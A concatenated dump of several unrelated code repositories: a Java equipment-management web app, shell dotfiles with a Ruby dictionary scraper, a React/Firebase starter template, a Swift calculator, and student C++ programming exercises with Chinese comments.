equipmentTypesList = readAllEquipmentTypes().entrySet().stream()
.sorted(Map.Entry.comparingByKey())
.collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue,
(oldValue, newValue) -> oldValue, LinkedHashMap::new));
return "/equipment/index";
}
public static void toCSV() throws IOException, SQLException {
CellProcessor[] processors = new CellProcessor[] {
new UniqueHashCode(), // projectID (must be unique)
new NotNull(), // name
new Optional(), // startDate
new Optional(), // estEndDate
new Optional(), // actEndDate
};
// the header elements are used to map the bean values to each column (names must match)
final String[] headers = new String[] {
"equipmentID",
"name",
"type",
"lastUpdatedDate",
"lastUpdatedBy"//,
//"isDeleted"
};
List<Equipment> equipment = EquipmentRepository.readAllEquipment();
InputStream data = CSVBuilder.create(processors, headers, equipment);
String filename = CSVBuilder.filename("equipment");
Faces.sendFile(data, filename, true);
}
public FullCalendarEventList getCalendarEventList() {
FullCalendarEventList list = new FullCalendarEventList();
for (Maintenance maintenance : this.maintenanceList) {
Date date = Date.from(maintenance.getNextMaintenanceDate().atZone(ZoneId.systemDefault()).toInstant());
CalendarEntry entry = new CalendarEntry(maintenance.getMaintenanceID(), maintenance.getDescription(), date);
list.getList().add(entry);
}
return list;
}
public String getCalendarEventListJson() {
return this.getCalendarEventList().toJson();
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public int getTypeID() {
return typeID;
}
public void setTypeID(int typeID) {
this.typeID = typeID;
}
public Map<String, Integer> getEquipmentTypesList() {
return equipmentTypesList;
}
public Integer getSelectedEquipmentTypeValue() {
return selectedEquipmentTypeValue;
}
public void setSelectedEquipmentTypeValue(Integer selectedEquipmentTypeValue) {
this.selectedEquipmentTypeValue = selectedEquipmentTypeValue;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getCost() {
return cost;
}
public void setCost(String cost) {
this.cost = cost;
}
public Date getNextMaintenanceDate() {
return nextMaintenanceDate;
}
public void setNextMaintenanceDate(Date nextMaintenanceDate) {
this.nextMaintenanceDate = nextMaintenanceDate;
}
}
<file_sep>/build.gradle
apply plugin: 'java'
apply plugin: 'war'
sourceCompatibility = '1.8'
targetCompatibility = '1.8'
[compileJava, compileTestJava]*.options*.encoding = 'UTF-8'
repositories {
mavenLocal()
mavenCentral()
}
dependencies {
testCompile('junit:junit:4.12')
compile('org.glassfish:javax.faces:2.3.3')
compile('org.jboss.weld.servlet:weld-servlet-shaded:3.0.0.Final')
compile('javax.servlet:jstl:1.2')
compile('org.glassfish:javax.json:1.1')
compile('net.bootsfaces:bootsfaces:1.2.0')
compile('org.omnifaces:omnifaces:3.0')
compile('org.mariadb.jdbc:mariadb-java-client:2.2.1')
compile('org.hibernate.validator:hibernate-validator:6.0.1.Final')
compile('de.mkammerer:argon2-jvm:2.4')
compile('org.apache.cxf:cxf-rt-frontend-jaxrs:3.1.12')
compile('org.apache.pdfbox:pdfbox:2.0.8')
compile('net.sf.supercsv:super-csv:2.4.0')
compile('net.sf.supercsv:super-csv-joda:2.4.0')
compile('com.maxmind.geoip2:geoip2:2.12.0')
}
war {
archiveName = 'ROOT.war'
}
<file_sep>/src/main/java/edu/uco/avalon/Allocation.java
package edu.uco.avalon;
import java.time.LocalDateTime;
public class Allocation {
private int allocationID;
private int equipmentID;
private String displayForEquipmentID;
private int projectID;
private String displayForProjectID;
private LocalDateTime lastUpdatedDate;
private String lastUpdatedBy;
private boolean isDeleted;
public int getAllocationID() {
return allocationID;
}
public void setAllocationID(int allocationID) {
this.allocationID = allocationID;
}
public int getEquipmentID() {
return equipmentID;
}
public void setEquipmentID(int equipmentID) {
this.equipmentID = equipmentID;
}
public String getDisplayForEquipmentID() {
return displayForEquipmentID;
}
public void setDisplayForEquipmentID(String displayForEquipmentID) {
this.displayForEquipmentID = displayForEquipmentID;
}
public int getProjectID() {
return projectID;
}
public void setProjectID(int projectID) {
this.projectID = projectID;
}
public String getDisplayForProjectID() {
return displayForProjectID;
}
public void setDisplayForProjectID(String displayForProjectID) {
this.displayForProjectID = displayForProjectID;
}
public LocalDateTime getLastUpdatedDate() {
return lastUpdatedDate;
}
public void setLastUpdatedDate(LocalDateTime lastUpdatedDate) {
this.lastUpdatedDate = lastUpdatedDate;
}
public String getLastUpdatedBy() {
return lastUpdatedBy;
}
public void setLastUpdatedBy(String lastUpdatedBy) {
this.lastUpdatedBy = lastUpdatedBy;
}
public boolean isDeleted() {
return isDeleted;
}
public void setDeleted(boolean deleted) {
isDeleted = deleted;
}
}
<file_sep>/src/main/java/edu/uco/avalon/ScheduleBean.java
package edu.uco.avalon;
import javax.enterprise.context.SessionScoped;
import javax.inject.Named;
import java.io.Serializable;
import java.time.LocalDate;
import java.time.format.DateTimeFormatter;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
@Named(value="schedule")
@SessionScoped
public class ScheduleBean implements Serializable {
private static final long serialVersionUID = 1L;
private int equipmentID;
private String equipmentName;
private String equipmentType;
private String allocateDate = LocalDate.now().format(DateTimeFormatter.ISO_LOCAL_DATE);
private boolean allocated;
private List<Schedule> schedules = new ArrayList<>();
{
LocalDate date = LocalDate.of(2018, 2, 9);
schedules.add(new Schedule(1, "Equipment01", "type01", date, false));
}
public List<Schedule> getSchedules() {
return schedules;
}
public void delete(Schedule schedule) {
schedules = schedules.stream().filter((sche -> sche.getEquipmentID() != schedule.getEquipmentID())).collect(Collectors.toList());
}
public void create() {
schedules.add(new Schedule(this.equipmentID, this.equipmentName, this.equipmentType, LocalDate.parse(this.allocateDate), this.allocated));
}
public void edit() {
}
public void beforeEdit(Schedule schedule) {
this.equipmentID = schedule.getEquipmentID();
this.equipmentName = schedule.getEquipmentName();
this.equipmentType = schedule.getEquipmentType();
this.allocateDate = schedule.getAllocateDate().format(DateTimeFormatter.ISO_LOCAL_DATE);
this.allocated = schedule.isAllocated();
}
public int getEquipmentID() {
return equipmentID;
}
public void setEquipmentID(int equipmentID) {
this.equipmentID = equipmentID;
}
public String getEquipmentName() {
return equipmentName;
}
public void setEquipmentName(String equipmentName) {
this.equipmentName = equipmentName;
}
public String getEquipmentType() {
return equipmentType;
}
public void setEquipmentType(String equipmentType) {
this.equipmentType = equipmentType;
}
public String getAllocateDate() {
return allocateDate;
}
public void setAllocateDate(String allocateDate) {
this.allocateDate = allocateDate;
}
public boolean isAllocated() {
return allocated;
}
public void setAllocated(boolean allocated) {
this.allocated = allocated;
}
}
| 40d8836f9f8616b7611663d311fabb970460f917 | [
"SQL",
"Markdown",
"Gradle",
"Java",
"Dockerfile",
"Shell"
] | 17 | Java | UCO-CS-Capstone/avalon_web | 739a529312907282845590bbffc121cfc128e34c | 3f253a38e47d7410f04558842bb5d1f55c09d5c8 |
refs/heads/master | <repo_name>dannil76/home<file_sep>/bin/g
#!sh
git $@<file_sep>/.bash_profile
[[ -s "/Users/jonas/.rvm/scripts/rvm" ]] && source "/Users/jonas/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
red='\e[0;31m'
RED='\e[1;31m'
blue='\e[0;34m'
BLUE='\e[1;34m'
cyan='\e[0;36m'
CYAN='\e[1;36m'
NC='\e[0m' # No Color
export PS1="\[\e[0;31m\]\w:\[\e[0;0m\] "
<file_sep>/README.md
# Windows
Install:
- msysgit
- gvim
Run ~/bin/__winsetup.bat to set things up.
<file_sep>/.profile
if [ ~/.bash_profile ]; then
source ~/.bash_profile
fi
if [ ~/.bashrc ]; then
source ~/.bashrc
fi
<file_sep>/bin/gvim
#!/bin/sh
mvim $@
<file_sep>/bin/define
#!/usr/bin/env ruby
require 'nokogiri'
require 'open-uri'
w = open("http://dictionary.reference.com/browse/#{ARGV.join('+')}")
doc = Nokogiri.parse(w.read)
entries = doc.css(".lunatext > .luna-Ent").map do |entry|
result = {}
result[:title] = entry.css("h2.me").text.strip
result[:etymology] = entry.css(".ety").text.strip
result[:related_forms] = entry.css(".secondary-bf").map do |form|
[form.text.strip, form.next.text.strip]
end
result[:entries] = []
entry.css(".pbk").each do |subentry|
sub = {}
sub[:type] = subentry.css(".pg").text.strip
sub[:descriptions] = subentry.css(".luna-Ent").map do |desc|
if desc.css(".dndata").size > 0
desc = desc.css(".dndata")
end
desc.text.strip
end
result[:entries] << sub
end
result
end
entry = entries.first
if entry.nil?
puts "No entries found."
exit
end
entry[:entries].each do |sub|
puts "#{entry[:title]}, #{sub[:type]}"
sub[:descriptions].each_with_index do |text, i|
pfx = "#{i.succ}. "
pad = pfx.size.succ
i = pfx.size
text.gsub(/\r?\n/, " ").split(/\s/).each do |word|
word += " "
if i + word.size > 80
i = 0
word = "\n".ljust(pad) + word
end
i += word.size
pfx << word
end
puts pfx
end
puts ""
end
<file_sep>/bin/build
#!ruby
require 'slop'
require 'albacore'
opts = Slop.parse do
on :m, :mode=, 'Build mode', default: :Debug
on :sln=, 'Solution file'
end
solution = opts[:sln]
opts.parse do |arg|; solution = arg; end
ms = MSBuild.new
ms.properties :configuration => opts[:mode]
ms.solution = solution
ms.execute
puts "\n#{solution} built successfully."
| 49e5e2f4a26aba2da44ab2449f2e9a0311dd6a5d | [
"Markdown",
"Ruby",
"Shell"
] | 7 | Shell | dannil76/home | f8ea9687a2fb5e46f2dd897c0646f2538bb24e63 | 4eaa6fa005ed81356e09d154cd5df36310cb7861 |
refs/heads/main | <file_sep>import React from 'react';
import {Link} from 'react-router-dom'
import { ProSidebar, SidebarHeader, SidebarFooter, SidebarContent, Menu, MenuItem } from 'react-pro-sidebar';
import 'react-pro-sidebar/dist/css/styles.css';
const Navbar = ({title}) =>{
return (
<ProSidebar >
<SidebarHeader>
<Menu>
<MenuItem><Link to='/'><h1>{title}</h1></Link></MenuItem>
</Menu>
</SidebarHeader>
<SidebarContent>
<div id={'navbar'}>
<Menu iconShape="square">
<MenuItem><Link to='/login'>Login</Link></MenuItem>
<MenuItem><Link to='/editor'>Editor</Link></MenuItem>
</Menu>
</div>
</SidebarContent>
<SidebarFooter>
<Menu>
<MenuItem>ComS 319 Group 30 </MenuItem>
</Menu>
</SidebarFooter>
</ProSidebar>
)
}
Navbar.defaultProps={
title:'VIPEr'
};
export default Navbar<file_sep>import React, {Component} from 'react';
import {BrowserRouter as Router, Route, Switch} from 'react-router-dom';
//import logo from './logo.svg';
import './App.css';
import './components/Navbar.js';
import Navbar from "./components/Navbar";
import Page1 from "./components/Page1";
import Login from "./components/Login";
import Page2 from "./components/Page2";
import APICalls from "./components/APICalls";
import firebase from "firebase";
class App extends Component {
state = {
data: null
};
constructor(props) {
super(props);
// TODO for setup: replace the export of firebase-config.js with your project's configuration snippet, found
// under Project Settings -> General -> Your Apps -> (your Firestore connected app) -> Firebase SDK snippet
// -> config.
// Initialize Firebase
firebase.initializeApp(require("./firebase-config.js").firebaseConfig);
}
//TEST FUNCTION
componentDidMount() {
// Call our fetch function below once the component mounts
APICalls.SAVE_USER("testID2", {displayName: 'test', email: '<EMAIL>', imageUrl: 'https://image.address.im'})
.then(res => this.setState({ data: JSON.stringify(res) }))
.catch(err => console.log(err));
}
render() {
return (
<Router>
<div className="App">
<Navbar/>
<div className='container'>
<p className="App-intro">{this.state.data}</p>
<Switch>
<Route exact path='/' component={Page1} />
<Route path='/login' component={Login} />
<Route path='/page2' component={Page2} />
</Switch>
</div>
</div>
</Router>
);
}
}
export default App;
<file_sep>import React from 'react';
class Page1 extends React.Component {
componentDidMount() {
}
render() {
return (
<div className='page1'>
<h1>Welcome to the first page!</h1>
<h2>HTML goes here!</h2>
</div>
);
}
}
export default Page1;<file_sep># FERN-Base
A base template for working with the Google Firestore, Express, React, Node.js tech stack.
***
## Quick Start
The section will guide you through setting up a Google Firebase project with a Firestore database
and enable user authentication via Google Authentication, and configuring the project to utilize it.
1. Login to the [Firebase Console](https://console.firebase.google.com), click '+ Add Project', and follow the prompts
to set up a new Firebase project.
2. Add a web app to the project by clicking on the '</>' icon on the project dashboard and give it a name.
3. Once you get to the 'Add Firebase SDK' step, copy the firebaseConfig json object into the
[firebase-config.js](client/src/firebase-config.js) file in the React client.
4. Click 'Go to console', then navigate to the Cloud Firestore page via the sidebar. Click 'Create Database',
ensure that the 'Start in production mode' radio button is selected before continuing. Follow the rest of the prompts
to initialize the database.
5. Navigate to the Authentication page via the sidebar. Click 'Set up sign-in method' and enable the Google sign-in
option.
6. Follow the instructions under your Firebase project's Project Settings -> Service Accounts ->
Generate new private key to generate a Firestore database secret and fill [firebase-secret.json](./firebase-secret.json)
with its content
7. Change the firestoreUrl variable in [index.js](./routes/index.js) to match your project's database Url, found under
Project Settings -> Service Accounts, in the Node.js code snippet.
Firebase has now been configured and is ready to use.
***
## Running the Project
There are two servers to run - the api server and the react frontend server. Initialize both by running
npm install
from the project root directory and from the client directory. To run the project,
start up the api server followed by the frontend server by running
npm start
in the project root directory followed by the client directory. The website is available at
```localhost:3000``` and the api server handles requests on ```localhost:5000```. | 8c983f4e5e07d324637263eac73ec98605007069 | [
"JavaScript",
"Markdown"
] | 4 | JavaScript | bitwise-knot/FERN-Base | 088de32e39928f75d7c2f67c8431099ead158e11 | 64aa57d72b6d095930416e8fb6af9a1d4188e076 |
refs/heads/master | <file_sep>--- added to check upstream . from git UI
NEW LINE
adding to see diff feature
addd again
# devops-practice-repo
HI
- TESTING AUTO BUILD
- TESTING BUILD WITH TAGS/BRANCH (CHOICE PARAMETER)
- Added to test PULL
- adding from git UI
- adding from cli
- hi
- PR
- NEW LINE
- newwwww
<file_sep># This program prints Hello, world!
print ('Hello World')
| e0dc3ec7870ed45ba9cbc0c78941d69adc1a64b7 | [
"Markdown",
"Python"
] | 2 | Markdown | Devadakshith/devops-practice-repo | 3c804a9fd18e494c28a1962b3ccf28792fefd1f8 | dda08b9e4f371e68b6743b337cb2a5e2a8ae04e7 |
refs/heads/master | <file_sep>//
// CalcBrain.swift
// NicolasDuwavrent_Calculatrice
//
// Created by <NAME> on 26/03/2019.
// Copyright © 2019 ND. All rights reserved.
//
import Foundation
class CalcBrain {
enum Operators:String {
case plus="+",minus="-",multiply="x",divide="÷"
}
var leftOp:Double?
var rightOp:Double?
var result:Double?
var calcOperator:Operators?
init() {
}
func opResult() -> Double? {
return 0.2
}
func setOperand(value:Double){
if calcOperator != nil{
leftOp = value
}
else{
rightOp = value
}
}
func setOperande(value:String) {
if leftOp != nil {
switch value {
case "+":
calc
case "-":
lblCalc.text=String(v1-v2);
case "÷":
lblCalc.text=String(Double(v1)/Double(v2));
case "x":
lblCalc.text=String(v1*v2);
default:break;
}
}
}
}
if etape == 2 {
if v2 != 0{
switch operande {
case "+":
lblCalc.text=String(v1+v2);
case "-":
lblCalc.text=String(v1-v2);
case "÷":
lblCalc.text=String(Double(v1)/Double(v2));
case "x":
lblCalc.text=String(v1*v2);
default:break;
}
}
}
<file_sep>//
// ViewController.swift
// NicolasDuwavrent_Calculatrice
//
// Created by <NAME> on 26/03/2019.
// Copyright © 2019 ND. All rights reserved.
//
import UIKit
class ViewController: UIViewController {
var etape=1
var v1 = 0
var v2 = 0
var operande = ""
@IBOutlet weak var btn1: UIButton!
@IBOutlet weak var btn2: UIButton!
@IBOutlet weak var btn3: UIButton!
@IBOutlet weak var btn4: UIButton!
@IBOutlet weak var btn5: UIButton!
@IBOutlet weak var btn6: UIButton!
@IBOutlet weak var btn7: UIButton!
@IBOutlet weak var btn8: UIButton!
@IBOutlet weak var btn9: UIButton!
@IBOutlet weak var btn0: UIButton!
@IBOutlet weak var negative: UIButton!
@IBOutlet weak var point: UIButton!
@IBOutlet weak var plus: UIButton!
@IBOutlet weak var less: UIButton!
@IBOutlet weak var multi: UIButton!
@IBOutlet weak var divide: UIButton!
@IBOutlet weak var btnEquals: UIButton!
@IBOutlet weak var btnReset: UIButton!
@IBOutlet weak var lblCalc: UILabel!
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view.
let buttons:[UIButton]=[btn1,btn2,btn3,btn4,btn5,btn6,btn7,btn8,btn9,btn0,negative,point,plus,less,multi,divide,btnReset,btnEquals]
for button in buttons{
button.layer.cornerRadius=10
lblCalc.layer.cornerRadius=10
}
}
@IBAction func actionBtnClick(_ sender: UIButton) {
if let value = sender.titleLabel?.text{
operande=value
etape=2
}
}
@IBAction func valueBtnClick(_ sender: UIButton) {
if etape==1{
v1=sender.tag
lblCalc.text=String(v1)
print(v1)
}
if etape==2{
v2=sender.tag
lblCalc.text=String(v2)
print(v2)
}
}
@IBAction func equalsBtnClick(_ sender: UIButton) {
if etape == 2 {
if v2 != 0{
switch operande {
case "+":
lblCalc.text=String(v1+v2);
case "-":
lblCalc.text=String(v1-v2);
case "÷":
lblCalc.text=String(Double(v1)/Double(v2));
case "x":
lblCalc.text=String(v1*v2);
default:break;
}
}
}
}
@IBAction func resetBtnClick(_ sender: UIButton) {
lblCalc.text="0"
v1=0
v2=0
operande=""
etape=1
}
}
<file_sep>
Copyright (C) 2019 <NAME>
| e9f275c578d810529f882d6c7db6ea5477b9b56f | [
"Swift",
"Markdown"
] | 3 | Swift | Nicopuissance/NicolasDuwavrent_Calculatrice | 254450790eab9d55d9a65048c8f872659bdddabb | cfb89c41d587108b60e2a8e187fa26360a87aaae |
refs/heads/master | <repo_name>WireLife/FightingCode<file_sep>/2020备战蓝桥/黄杨/第十次作业/4.cpp
#include <stdio.h>
int main()
{
float h;
int i, n;
printf("请输入高度h和落地次数n:");
scanf("%f %d", &h, & n);
float v=h/2;
for(i=2; i<=n; i++)
{
h = h + 2*v;
v = v/2;
}
printf("第%d次落地时,共经过了%f米\n", n, h);
printf("第%d次落地时,反弹%f米\n", n, v);
}
<file_sep>/2020备战蓝桥/王浩杰/第十次作业/10.11.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
int f(int a)
{
int i,sum=0;
if (a % 10 == 1 || a % 10 == 3 || a % 10 == 5 || a % 10 == 7)
sum=sum+f(a / 10);
if (a == 0)sum=sum+1;
else return sum;
}
int main()
{
int i1,i2,i3,i4,i5,m1=0,m2,m3, n1,n2,sum,a;
for (i1 = 1; i1 <= 4; i1++)
{
m1 = 2*i1-1;
for (i2 = 1; i2 <= 4; i2++)
{
m2 = m1 * 10 + (i2 * 2 - 1);
for (i3 = 1; i3 <= 4; i3++)
{
m3 = m2 * 10 + (i3 * 2 - 1);
for(i4=1;i4<=4;i4++)
{
n1 = 2 * i4 - 1;
for (i5 = 1; i5 <= 4; i5++)
{
n2 = n1 * 10 + (i5 * 2 - 1);
a = m3 * n2;
sum=f(a);
if (sum == 1)cout << m3 << '*' << n2 << '=' << a<<endl;
}
}
}
}
}
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十一次作业/11.5.3.cpp
#include<iostream>
#include<string>
using namespace std;
//The function "gets" could include the character ' ' but character '\n';
int main()
{
char c;
string str="";
while(1)
{
scanf("%c",&c); //here doesn't use 'cin';
if(c=='\n')
break;
str=str+c;
}
cout<<str<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第九次作业/9.2.cpp
#include<iostream>
#include<cstdlib>
#include<cstdio>
using namespace std;
char a[100];
int f1(int b)
{
int a=b%10,c,d;
if (b < 10)c = b ;
else { d = f1(b / 10); c = 2 * d + a; }
return c;
}
void f2(int c)
{
int a = c / 16,b = c % 16;
if (a >= 1)f2(a);
if (b < 10) { cout << b; }
else
{
switch (b)
{
case 10:cout << "A";
case 11:cout << "B";
case 12:cout << "C";
case 13:cout << "D";
case 14:cout << "E";
case 15:cout << "F";
}
}
}
void f()
{
int b,c;
cin >> a;
b = atoi(a);
c = f1(b);
f2(c);
}
int main()
{
f();
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/周鑫鹏/第十二次作业/5_7.cpp
#include<iostream>
#include<vector>
#include<algorithm>
using namespace std;
int M(vector<int>::iterator it,vector<int>::iterator it1);
int main()
{
int a,t;
int k=0;
vector<int> vec;
cout<<"0 to end"<<endl;
cin>>t;
while(t!=0)
{
vec.push_back(t);
cin>>t;
}
cout<<"λÖÃ:";
cin>>a;
vector<int>::iterator it=vec.begin();
vector<int>::iterator b=it+a;
while(1)
{
if(M(it,vec.end()))
{
if(it==b)
break;
k++;
}
else
{
vec.push_back(*it);
if(it==b)
b=vec.end();
}
it++;
}
cout<<"Íê³Éʱ¿Ì:"<<k<<endl;
return 0;
}
int M(vector<int>::iterator it,vector<int>::iterator it1)
{
vector<int>::iterator itr=it;
auto a=max_element(it,it1);
if(*it==*a)
return 1;
return 0;
}
<file_sep>/2020备战蓝桥/周鑫鹏/十一次作业/11_3.cpp
#include<iostream>
#include<string>
using namespace std;
int main()
{
string str;
char ch;
while(ch!='\n')
{
ch=getchar();
str+=ch;
}
cout << str <<endl;
return 0;
}<file_sep>/2020备战蓝桥/周鑫鹏/第十二次作业/5_3.cpp
#include <iostream>
using namespace std;
int main()
{
int a[100]={0};
for(int i=1;i<51;i++)
{
a[i-1]=i;
}
int j=0;
int k=0;
while(a[j+1]!=0)
{
cout<<a[j]<<endl;
a[50+k]=a[j+1];
k++;
j+=2;
}
cout<<"End:"<<a[j]<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/第十次作业/10-4.cpp
/*#include<iostream>
using namespace std;
void counter(int h, int t)
{
double sum = 0,tem = h / 2;
int times = 0;
while (t > 0)
{
sum = sum + tem;
tem = tem / 2;
t--;
}
cout << "第" <<t<< "次反弹的高度:" << tem << endl;
cout << "总高度为:" << sum << endl;
}
int main()
{
cout << "input the height:" << endl;
int h;
cin >> h;
cout << "input the times:" << endl;
int t;
cin >> t;
counter(h, t);
system("pause");
return 0;
}
*/
<file_sep>/Resistance/test.h
#ifndef TEST_H
#define TEST_H
#include <QWidget>
#include <QSerialPort>
#include <QSerialPortInfo>
#include <QMessageBox>
namespace Ui {
class Test;
}
class Test : public QWidget
{
Q_OBJECT
public:
explicit Test(QWidget *parent = nullptr);
~Test();
void mainWinWrite(QByteArray data); // 外部接口用于发送数据
QByteArray mainWinRead(); // 外部接口用于接收数据
bool isSerialOpen();
private slots:
void on_comboBox_serialSelect_currentIndexChanged(int index);
void on_comboBox_baudRate_currentIndexChanged(int index);
void on_comboBox_stopBits_currentIndexChanged(int index);
void on_comboBox_dataBits_currentIndexChanged(int index);
void on_comboBox_parity_currentIndexChanged(int index);
void on_checkBox_openSerial_stateChanged(int arg1);
void on_comboBox_serialSelect_currentTextChanged(const QString &arg1);
void on_pushButton_send_clicked();
void on_pushButton_clearSend_clicked();
void readData();
void on_pushButton_clearReceive_clicked();
private:
Ui::Test *ui;
QSerialPort serial;
QByteArray dataRead;
private:
void findSerial(); // 查找计算机可用串口
void initSerials(); // 初始化串口
};
#endif // TEST_H
<file_sep>/2020备战蓝桥/刘震/第十次作业/10.13魔术师的猜牌术(2).cpp
/*魔术师的猜牌术(2)*/
//思路:用循环做,用一个数组储存这26个字符,因为每次要翻开然后放在桌子上所以,每次具体翻哪一张牌是确定的
//a a a a a a a a a a a a a a a
//1 2 3 4 5
/*#include<iostream>
#include<cstring>
using namespace std;
const int maxn = 26; //黑桃桃红桃桃加起来一共26张
char display[maxn][7] = { "黑桃A","黑桃2","黑桃3" ,"黑桃4" ,"黑桃5" ,"黑桃6" ,"黑桃7" ,"黑桃8" ,"黑桃9" ,"黑桃B" ,"黑桃J" ,"黑桃Q" ,"黑桃K",
"红桃A","红桃2","红桃3" ,"红桃4" ,"红桃5" ,"红桃6" ,"红桃7" ,"红桃8" ,"红桃9" ,"红桃B" ,"红桃J" ,"红桃Q" ,"红桃K" }; //这里10用B来代替,两个字符代替一个字符
int main()
{
int i, j = 0, k = 0;
char s[maxn][3]; //这里是仿照那个整形数组赋初值的
memset(s, "0", maxn);
cout << s[1] << endl;
while (1)
{
for (i = 0; i < 26; i++)
{
if (strcmp(s[i], "0"));
{
if (j % 3 == 0)
{
strcpy(s[i], display[k++]);
}
else j++;
}
}
if (k >= maxn) break;
}
for (i = 0; i < maxn; i++)
cout << s[i] << endl;
getchar();
return 0;
}
//遇到的问题:
*/
//上面的程序本打算用新建一个字符数组赋值用的,后来遇到了二维字符数组初始化问题,这里不用新建赋值数组,建一个标记下标的整型数组
#include<iostream>
using namespace std;
const int maxn = 26; //黑桃桃红桃桃加起来一共26张
char display[maxn][7] = { "黑桃A","黑桃2","黑桃3" ,"黑桃4" ,"黑桃5" ,"黑桃6" ,"黑桃7" ,"黑桃8" ,"黑桃9" ,"黑桃10" ,"黑桃J" ,"黑桃Q" ,"黑桃K",
"红桃A","红桃2","红桃3" ,"红桃4" ,"红桃5" ,"红桃6" ,"红桃7" ,"红桃8" ,"红桃9" ,"红桃10" ,"红桃J" ,"红桃Q" ,"红桃K" };
int main()
{
int i, j = 0, k = 1, sign[maxn] = { 0 }; //初始化
while (1)
{
for (i = 0; i < maxn; i++) //思路就是把牌排成一排,从第一次开始翻,然后每隔2张再翻一次,一直翻到结尾再从头开始,遇到已经翻的跳过
{
if (sign[i] == 0)
{
if (j % 3 == 0)
{
sign[i] = k++;
j = 0;
}
j++;
}
}
if (k > maxn) break;
}
for (i = 0; i < maxn; i++)
cout << display[sign[i]-1] << endl;
getchar();
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/第十二次作业/12-2ducci序列.cpp
/*#include<iostream>
#include<stdlib.h>
using namespace std;
void Short(int*str,int n);
void Select(int* str)
{
for (int i = 0; i < sizeof(str); i++)
{
if (str[i])
{
cout << "LOOP" << endl;
return;
}
}
cout << "ZERO" << endl;
return;
}
int main()
{
int str[100];
int len;
cout << "input the string length:" << " ";
cin >> len;
cout << "input:" << " ";
for (int i = 0; i < len; i++)
cin >> str[i];
Short(str,len);
system("pause");
return 0;
}
void Short(int *str,int n)
{
int tem;
for (int i = 1; i <= 1000;i++)
{
tem = abs(str[0] - str[n - 1]);
for (int i = 0; i < sizeof(str) - 1; i++)
{
str[i] = abs(str[i] - str[i + 1]);
}
str[sizeof(str) - 1] = tem;
}
Select(str);
}
*/
<file_sep>/2020备战蓝桥/刘燚杰/第九次作业/9-7.cpp
#include <iostream>
using namespace std;
bool Judge(int y,int x)
{
if(y>x)
return false;
if(y==x)
return true;
if(Judge(2*y+1,x) || Judge(3*y+1,x))
return true;
return false;
}
int main()
{
int k=0, x=0;
cin>>k;
cin.get();//去除逗号
cin>>x;
bool result = Judge(k,x);
if(result)
cout<<"YES"<<endl;
else
cout<<"NO"<<endl;
}
<file_sep>/2020备战蓝桥/周鑫鹏/第十二次作业/5_1.cpp
/*#include<iostream>
#include<string>
#include<vector>
#include<iomanip>
using namespace std;
int main()
{
char s[1000]; //足够大的字符数组接收每一行的单词
vector<string> s1[1000];
string s0 = "";
int i = 0, j = 0, k = 0; //k行,j列
int m[180] = { 0 }, n[1000] = { 0 };
while (gets_s(s) && strcmp(s, "") != 0)//gets_s()遇到回车结束输入,如果再次回车,则输入为空,跳出大循环
{
for (i = 0; i < strlen(s); i++) //每一行读取,逐个比较
{
if (s[i] != ' ') //读取字母
s0 += s[i];
if (s[i] == ' '||i==strlen(s)-1&&(s0.size()>0))
{
s1[k].push_back(s0);
if (s0.size() > m[j])
m[j] = s0.size();
j++; //每完成一个单词的存储j+1
s0 = ""; //s0="";重新接收s[i]
n[k] = j; //第k行有j个单词
}
}
j = 0; //到下一行单词最开始为0个
k++; //行号加1
}
for (int i = 0; i < k; i++)
{
for (int a = 0; a < n[i];a++)
{
cout.width(m[a]);
cout << left << s1[i][a]<<" ";
}
cout << endl;
}
}*/<file_sep>/2020备战蓝桥/刘燚杰/第九次作业/9-3.cpp
#include<iostream>
using namespace std;
int count = 1;//本身算一个数
int digui(int x)
{
for(int i=1;i<=x;++i)
{
if(i >= 2)
count += i/2;
digui(i/2);
}
}
int Count(int n)
{
count += n/2;//加上一个自然数后共有的组合 n/2 = 6
digui(n/2);
// for(int i=1;i<=n/2;++i) i<=6
// {
// if(i >= 2)
// {
// count += i/2;//加上两个自然数后共有的组合
// }
// for(int j=1;j<=i/2;j++)
// {
// if(j >= 2)
// count += j/2;//加上三个自然数后共有的组合
// }
// }
return count;
}
int main()
{
int n=0;
cout<<"please enter a natural number that less than or equal to 1000:"<<endl;
cin>>n;
cout<<"the result :"<<Count(n)<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/谢上信/12week/1.cpp
#include<iostream>
#include<string>
#include<stdio.h>
#include<algorithm>
using namespace std;
void shan_chu_chong_fu_kong_ge(string &a)
{
int h, f = 0;
for (;;)
{
h = a.find(' ',f);
if (h == -1)
break;
if (*(a.begin()+h+1) == ' ')
a.erase(a.begin() + h);
else
f = h + 1;
}
}
void shan_chu_shou_kong_ge(string &a)
{
for (;;)
{
if (*(a.begin()) == ' ')
a.erase(a.begin());
else
break;
}
}
int main()
{
int m = 0, n = 0, i, b = 0,d;
string str[1001];
for (i = 0; i <1000 ; i++)
{
getline(cin,str[i]);
if (str[i] == "quit")
break;
}
cout << endl;
for (int j = 0; j < i; j++)
shan_chu_shou_kong_ge(str[j]);
for (int j = 0; j < i; j++)
shan_chu_chong_fu_kong_ge(str[j]);
for (;;)
{
for (int j = 0; j < i; j++)
{
m = str[j].find(' ', b);
if (m > n)
n = m;
}
d = n - m;
if (n == -1)
break;
for (int j = 0; j < i; j++)
{
m = str[j].find(' ', b);
str[j].insert(m, d, ' ');
cout << str[j] << endl;
}
b = n + 1;
}
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第九次作业/9.2.cpp
/*输入一个二进制数字组成的字符串,求变换为十六进制数据输出。*/
//两种方法第一种先转化为10进制 再将10进制转化为16进制,第二种:有2进制直接转化为十六进制。
/*
//第一种: 先转化为10进制在转化为16进制,但这可能会受到数据类型范围的约束
#include<stdio.h>
#include<string.h>
#include<math.h>
#define N 101
int main()
{
char bin[N],hex[N/4];
